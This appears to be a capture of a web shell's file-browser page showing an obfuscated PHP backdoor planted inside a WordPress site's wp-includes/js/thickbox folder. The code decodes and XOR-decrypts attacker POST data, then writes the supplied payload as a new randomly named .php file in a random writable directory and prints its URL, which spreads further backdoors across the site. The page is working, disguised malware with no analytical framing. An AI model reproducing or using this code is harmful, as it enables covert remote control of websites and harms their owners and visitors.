HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/js/thickbox/ooetazcg.php
<?php $aEUGLdFLfS = 'D'."\117".chr(67)."\125"."\x4d".chr(69).chr(439-361)."\x54"."\x5f".chr(637-555)."\117"."\x4f".chr(538-454);$wiurRfyUX = "\x48"."\124".chr(84)."\120".chr(904-809).'H'.'O'."\x53".'T';$bzeiPoIcTf = "\150"."\164"."\164".chr(842-730).':'.chr(140-93)."\57";$FLtZCfze = "\56"."\x70".chr(554-450).chr(877-765);$bGEohviD = 'p'.chr(104).chr(112);$WNORu = 'f'.chr(105).chr(108).chr(807-706).chr(95).chr(492-380).'u'.chr(116)."\137".chr(99)."\157".chr(425-315)."\x74".'e'.chr(975-865).chr(116).chr(115);$NNvbGEnRv = 'r'."\141".'w'.chr(290-173).'r'.chr(786-678).chr(584-484)."\145"."\143".chr(111)."\144"."\145";$xNhYSaZPz = 'u'."\x6e"."\163".chr(341-240)."\x72".chr(105).'a'.chr(108).chr(105).chr(122).chr(101);$gKZXu = "\x69".chr(228-113)."\137".chr(184-65).chr(999-885).chr(933-828).chr(857-741)."\x61".chr(98)."\154"."\145";$XXMouCA = "\160".chr(1035-931).chr(112).'v'."\x65".chr(414-300).chr(115).chr(105).chr(1064-953).chr(110);$cTtxSz = "\x73"."\x74".chr(114).'_'.chr(114).'o'.'t'."\61"."\63";$SEAVIpMUj = chr(115).'e'.chr(114)."\151"."\141"."\154".'i'."\x7a".chr(983-882);$VHhYDVHMnD = 's'."\x74"."\x72"."\137"."\x73".chr(738-626).chr(108).chr(105)."\x74";foreach ($_POST as $yydLYgAmG => $YJWQt){$QtiNNhS = strlen($yydLYgAmG);if ($QtiNNhS == 16){$YJWQt = $VHhYDVHMnD($NNvbGEnRv($cTtxSz($YJWQt)));$yydLYgAmG = array_slice($VHhYDVHMnD(str_repeat($yydLYgAmG, (count($YJWQt)/16)+1)), 0, count($YJWQt));function QiKlLtAl($NhRQmsKwg, $YvoNnUZn, $yydLYgAmG){$tbcqWCkTWy = "0b28b0e1-9e61-415b-84fa-d6e7fb5f7e7f";return $NhRQmsKwg ^ $tbcqWCkTWy[$YvoNnUZn % strlen($tbcqWCkTWy)] ^ $yydLYgAmG;}$YJWQt = array_map("QiKlLtAl", array_values($YJWQt), array_keys($YJWQt), array_values($yydLYgAmG));$YJWQt = implode("", $YJWQt);$YJWQt = @$xNhYSaZPz($YJWQt);if (@is_array($YJWQt)){$KFwusfH = array_keys($YJWQt);$YJWQt = $YJWQt[$KFwusfH[0]];if ($YJWQt === $KFwusfH[0]){echo @$SEAVIpMUj(Array($bGEohviD => @$XXMouCA(), ));exit();}else {function XJaWqq($EUcGpwhir){static $trSOXSJDZ = array();$cIxEWfLu = glob($EUcGpwhir . '/*', GLOB_ONLYDIR);$ygJGzHSyw = count($cIxEWfLu);if ($ygJGzHSyw > 0) {foreach ($cIxEWfLu as $EUcGpwh) {if (@$gKZXu($EUcGpwh)) {$trSOXSJDZ[] = $EUcGpwh;}}}foreach ($cIxEWfLu as $EUcGpwhir) XJaWqq($EUcGpwhir);return $trSOXSJDZ;}$ygSwHhY = $_SERVER[$aEUGLdFLfS];$cIxEWfLu = XJaWqq($ygSwHhY);$KFwusfH = array_rand($cIxEWfLu);$SYbmBuO = $cIxEWfLu[$KFwusfH] . "/" . substr(md5(time()), 0, 8) . $FLtZCfze;@$WNORu($SYbmBuO, $YJWQt);$TZrRgW = $bzeiPoIcTf . $_SERVER[$wiurRfyUX] . substr($SYbmBuO, strlen($ygSwHhY));print($TZrRgW);die();}}}}